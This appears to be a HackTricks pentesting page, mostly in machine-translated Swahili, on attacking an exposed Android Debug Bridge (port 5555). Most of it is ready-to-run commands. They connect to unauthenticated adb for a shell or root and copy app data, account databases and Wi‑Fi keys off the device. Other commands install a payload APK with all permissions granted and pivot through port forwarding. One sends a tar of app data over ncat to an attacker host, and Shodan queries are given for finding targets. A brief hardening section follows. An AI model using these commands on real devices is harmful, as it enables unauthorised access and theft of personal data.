5555 - Android Debug Bridge
Reading time: 7 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
From the docs:
Android Debug Bridge (adb) ni chombo cha amri kwa mawasiliano na vifaa na emulators vinavyotumia Android. Vitendo vya kawaida ni pamoja na kufunga pakiti, kutatua matatizo, na kupata shell ya Unix ya mwingiliano kwenye kifaa.
- Bandari ya TCP ya kihistoria: 5555 (hali ya "adb tcpip" ya jadi).
- Urekebishaji wa Wireless wa kisasa (Android 11+) unatumia TLS pairing na mDNS huduma ya kugundua. Bandari ya kuungana ni ya kubadilika na inagunduliwa kupitia mDNS; inaweza isiwe 5555. Pairing inafanywa kwa adb pair host:port ikifuatiwa na adb connect. Tazama maelezo hapa chini kwa athari za kushambulia.
Example nmap fingerprint:
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Connect
Ikiwa unapata ADB imewekwa wazi na inapatikana, jaribu kuungana na kuhesabu haraka:
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
- Ikiwa kifaa kinatumia uthibitisho wa ADB (ro.adb.secure=1), utahitaji kuwa umeidhinishwa mapema (USB RSA auth) au kutumia Android 11+ Wireless debugging pairing (ambayo inahitaji msimbo wa mara moja unaoonyeshwa kwenye kifaa).
- Picha za wauzaji wengine, ujenzi wa uhandisi/userdebug, emulators, TVs, STBs na vifaa vya maendeleo vinatoa adbd bila uthibitisho au na adbd ikikimbia kama root. Katika hali hizo, kwa kawaida utaingia moja kwa moja kwenye shell au root shell.
Kwa rejeleo la jumla la amri za ADB, angalia:
Haraka Baada ya Utekelezaji
Mara tu unapo kuwa na shell, thibitisha haki na muktadha wa SELinux:
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
Kuorodhesha na kukamata data
- Orodhesha programu za upande wa tatu na njia:
pm list packages -3
pm path <pkg>
- Ikiwa una root (adb root au su inafanya kazi), unaweza kufikia /data moja kwa moja. Ikiwa la, pendelea run-as kwa programu zinazoweza kudhibitiwa:
# Bila root, kwa programu inayoweza kudhibitiwa
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Kwa root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
- Vitu vya mfumo vinavyofaa (root inahitajika):
- /data/system/users/0/accounts.db na data zinazohusiana na AccountManager
- /data/misc/wifi/ (mipangilio/ufunguo wa mtandao kwenye toleo za zamani)
- DB za SQLite maalum za programu na shared_prefs chini ya /data/data/
Unaweza kutumia hii kupata taarifa nyeti (mfano, siri za programu). Kwa maelezo kuhusu kuzingatia data za Chrome, angalia suala lililotajwa hapa.
Utekelezaji wa msimbo na utoaji wa payload
- Sakinisha na auto-grant ruhusa za wakati:
adb install -r -g payload.apk # -g inatoa ruhusa zote za wakati zilizotangazwa kwenye manifest
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
- Anza shughuli/huduma/matangazo moja kwa moja:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
Kuelekeza bandari na pivoting
Hata bila root, adb inaweza kuelekeza bandari za ndani kwa bandari za kifaa na kinyume chake. Hii ni muhimu kufikia huduma zilizofungwa ndani kwenye kifaa au kufichua huduma za mshambuliaji kwa kifaa.
- Elekeza mwenyeji->kifaa (fikia huduma ya ndani ya kifaa kutoka kwa mwenyeji wako):
adb forward tcp:2222 tcp:22 # Ikiwa kifaa kinaendesha SSH (mfano, Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Fichua seva ya ndani ya debug ya programu
- Kinyume cha kifaa->mwenyeji (ruhusu kifaa kufikia huduma kwenye mwenyeji wako):
adb reverse tcp:1080 tcp:1080 # Programu za kifaa sasa zinaweza kufikia mwenyeji:1080 kama 127.0.0.1:1080
- Uhamishaji wa faili kupitia soketi (hakuna maandiko ya sdcard):
# Kwenye mwenyeji: sikiliza
ncat -lvp 9000 > dump.tar
# Kwenye kifaa: tuma directory kama tar (root au run-as kama inavyofaa)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
Ukarabati wa Wireless (Android 11+)
Android ya kisasa inatekeleza ukarabati wa wireless ulio na ulinzi wa TLS na uunganisho wa upande wa kifaa na ugunduzi wa mDNS:
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
Notes
- Ports ni za dinamik; usidhani 5555. Majina ya huduma ya mDNS yanaonekana kama:
- _adb-tls-pairing._tcp (kuunganishwa)
- _adb-tls-connect._tcp (kuunganishwa kwa pamoja)
- _adb._tcp (kizamani/plain)
- Ikiwa mDNS imechujwa, kuwezesha USB kwa njia ya kawaida kunaweza bado kufanya kazi kwenye baadhi ya toleo:
adb tcpip 5555
kishaadb connect <ip>:5555
(hadi upya).
Madhara ya kushambulia: ikiwa unaweza kuingiliana na UI ya kifaa (kwa mfano, ufikiaji wa kimwili au makosa ya usanidi wa MDM wa simu) ili kuwezesha urekebishaji wa Wireless na kuona msimbo wa kuunganishwa, unaweza kuanzisha channel ya ADB iliyounganishwa kwa muda mrefu bila kebo. Baadhi ya OEMs huweka ADB kupitia TCP katika picha za uhandisi/maendeleo bila kuunganishwa—daima angalia.
Hardening / Detection
Walinda wanapaswa kudhani adbd yoyote inayoweza kufikiwa (TCP) ni hatari muhimu.
- Zima ADB na urekebishaji wa Wireless wakati hauhitajiki. Futa ruhusa za urekebishaji wa USB katika chaguzi za Developer.
- Hakikisha sera ya mtandao inazuia TCP/5555 inayokuja na ugunduzi wa ADB wa mDNS kwenye sehemu zisizoaminika.
- Kwenye vifaa chini ya udhibiti wako:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # zima kusikiliza TCP (au tumia: adb usb)
stop adbd; start adbd # anzisha tena daemon
- Fuata rekodi za mDNS
_adb._tcp
,_adb-tls-connect._tcp
,_adb-tls-pairing._tcp
kwenye mitandao ya kampuni na arifa za wasikilizaji wa 5555 wasiotarajiwa. - Orodhesha kwa ajili ya toleo zisizo salama:
getprop ro.debuggable
,ro.build.type
, naro.adb.secure
.
Shodan
- android debug bridge
- port:5555 product:"Android Debug Bridge"
References
- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.